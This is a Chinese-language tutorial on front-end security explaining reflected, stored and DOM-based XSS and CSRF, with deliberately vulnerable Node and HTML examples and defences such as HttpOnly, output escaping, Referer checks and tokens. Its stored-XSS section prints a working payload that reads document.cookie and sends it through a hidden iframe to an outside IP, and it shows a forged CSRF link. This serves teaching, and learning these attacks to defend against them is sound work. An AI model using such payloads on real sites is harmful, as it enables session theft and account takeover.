浅谈前端安全攻防——XSS和CSRF

2024-01-04 09:45:12

原文链接：

1：https://juejin.cn/post/6844903638532358151

2：https://segmentfault.com/a/1190000004623125?utm_source=sf-related

1. XSS

XSS，即 Cross Site Script，为跨站脚本攻击；其原本缩写是 CSS，但为了和层叠样式表(Cascading Style Sheet)有所区分，因而在安全领域叫做 XSS。
XSS 攻击是指攻击者在网站上注入恶意的客户端代码，通过恶意脚本对客户端网页进行篡改，从而在用户浏览网页时，对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。
攻击者对客户端网页注入的恶意脚本一般包括 JavaScript，有时也会包含 HTML 和 Flash。有很多种方式进行 XSS 攻击，但它们的共同点为：将一些隐私数据像 cookie、session 发送给攻击者，将受害用户重定向到一个由攻击者控制的网站，在受害者的机器上进行一些恶意操作。
XSS攻击可以分为3类：反射型（非持久型）、存储型（持久型）、基于DOM。

1.1 反射型

反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器，这种攻击方式往往需要攻击者诱使用户点击一个恶意链接，或者提交一个表单，或者进入一个恶意网站时，注入脚本进入被攻击者的网站。

看一个示例。我先准备一个如下的静态页：

恶意链接的地址指向了 localhost:8001/?q=111&p=222。然后，我再启一个简单的 Node 服务处理恶意链接的请求：

const http = require('http');
function handleReequest(req, res) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'});
    res.write('<script>alert("反射型 XSS 攻击")</script>');
    res.end();
}

const server = new http.Server();
server.listen(8001, '127.0.0.1');
server.on('request', handleReequest);

当用户点击恶意链接时，页面跳转到攻击者预先准备的页面，会发现在攻击者的页面执行了 js 脚本：

这样就产生了反射型 XSS 攻击。攻击者可以注入任意的恶意脚本进行攻击，可能注入恶作剧脚本，或者注入能获取用户隐私数据(如cookie)的脚本，这取决于攻击者的目的。

1.2 存储型

存储型 XSS 会把用户输入的数据 “存储” 在服务器端，当浏览器请求数据时，脚本从服务器上传回并执行。这种 XSS 攻击具有很强的稳定性。
比较常见的一个场景是攻击者在社区或论坛上写下一篇包含恶意 JavaScript 代码的文章或评论，文章或评论发表后，所有访问该文章或评论的用户，都会在他们的浏览器中执行这段恶意的 JavaScript 代码。
举一个示例。
先准备一个输入页面：

<input type="text" id="input">
<button id="btn">Submit</button>   

<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');

    let val;
     
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);

    btn.addEventListener('click', (e) => {
        fetch('http://localhost:8001/save', {
            method: 'POST',
            body: val
        });
    }, false);
</script>

启动一个 Node 服务监听 save 请求。为了简化，用一个变量来保存用户的输入：

const http = require('http');

let userInput = '';

function handleReequest(req, res) {
    const method = req.method;
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type')
    
    if (method === 'POST' && req.url === '/save') {
        let body = '';
        req.on('data', chunk => {
            body += chunk;
        });

        req.on('end', () => {
            if (body) {
                userInput = body;
            }
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'});
        res.write(userInput);
        res.end();
    }
}

const server = new http.Server();
server.listen(8001, '127.0.0.1');

server.on('request', handleReequest);

当用户点击提交按钮将输入信息提交到服务端时，服务端通过 userInput 变量保存了输入内容。当用户通过 http://localhost:8001/${id} 访问时，服务端会返回与 id 对应的内容(本示例简化了处理)。如果用户输入了恶意脚本内容，则其他用户访问该内容时，恶意脚本就会在浏览器端执行：

又或者在评论中输入以下内容：

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/… 这段服务器，然后服务器的代码就可以接收到了用户的隐私消息，继而继续做其他的业务处理（myxss/index.php 中写一些可怕的代码，如把用户信息存进自己的数据库）

1.3 基于DOM

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构，是纯粹发生在客户端的攻击。

看如下代码：

<h2>XSS: </h2>
<input type="text" id="input">
<button id="btn">Submit</button>
<div id="div"></div>
<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');
    const div = document.getElementById('div');

    let val;
     
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);

    btn.addEventListener('click', () => {
        div.innerHTML = `<a href=${val}>testLink</a>`
    }, false);
</script>

点击 Submit 按钮后，会在当前页面插入一个链接，其地址为用户的输入内容。如果用户在输入时构造了如下内容：

'' onclick=alert(/xss/)

复制代码
用户提交之后，页面代码就变成了：

<a href onlick="alert(/xss/)">testLink</a>

此时，用户点击生成的链接，就会执行对应的脚本：

1.4 XSS防御

1：HttpOnly 防止劫取 Cookie

上文有说到，攻击者可以通过注入恶意脚本获取用户的 Cookie 信息。通常 Cookie 中都包含了用户的登录凭证信息，攻击者在获取到 Cookie 之后，则可以发起 Cookie 劫持攻击。所以，严格来说，HttpOnly 并非阻止 XSS 攻击，而是能阻止 XSS 攻击后的 Cookie 劫持攻击。

2：输入检查
不要相信用户的任何输入。对于用户的任何输入要进行检查、过滤和转义。建立可信任的字符和 HTML 标签白名单，对于不在白名单之列的字符或者标签进行过滤或编码。

3：输出检查
用户的输入会存在问题，服务端的输出也会存在问题。一般来说，除富文本的输出外，在变量输出到 HTML 页面时，可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

2. CSRF

CSRF，即 Cross Site Request Forgery，中译是跨站请求伪造，是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
通常情况下，CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任，可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器，从而在并未授权的情况下执行在权限保护之下的操作。

例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问： http://example.com/bbs/create_post.php?title=标题&content=内容那么，我只需要在论坛中发一帖，包含一链接： http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。

由于 Cookie 中包含了用户的认证信息，当用户访问攻击者准备的攻击环境时，攻击者就可以对服务器发起 CSRF 攻击。在这个攻击过程中，攻击者借助受害者的 Cookie 骗取服务器的信任，但并不能拿到 Cookie，也看不到 Cookie 的内容。

CSRF防御

1：验证码
验证码被认为是对抗 CSRF 攻击最简洁而有效的防御方法。
从上述示例中可以看出，CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互，才能完成最终请求。因为通常情况下，验证码能够很好地遏制 CSRF 攻击。
但验证码并不是万能的，因为出于用户考虑，不能给网站所有的操作都加上验证码。因此，验证码只能作为防御 CSRF 的一种辅助手段，而不能作为最主要的解决方案。

2：HTTP Referer字段校验

根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。通过 Referer Check，可以检查请求是否来自合法的"源"。
比如，如果用户要删除自己的帖子，那么先要登录 www.c.com，然后找到对应的页面，发起删除帖子的请求。此时，Referer 的值是 http://www.c.com；当请求是从 www.a.com 发起时，Referer 的值是 http://www.a.com 了。因此，要防御 CSRF 攻击，只需要对于每一个删帖请求验证其 Referer 值，如果是以 www.c.com 开头的域名，则说明该请求是来自网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是 CSRF 攻击，可以拒绝该请求。

针对上文的例子，可以在服务端增加如下代码：

if (req.headers.referer !== 'http://www.c.com:8002/') {
    res.write('csrf 攻击');
    return;
}

Referer Check 不仅能防范 CSRF 攻击，另一个应用场景是 “防止图片盗链”。

3：添加 token 验证

CSRF 攻击之所以能够成功，是因为攻击者可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 Cookie 中，因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入攻击者所不能伪造的信息，并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是
CSRF 攻击而拒绝该请求。

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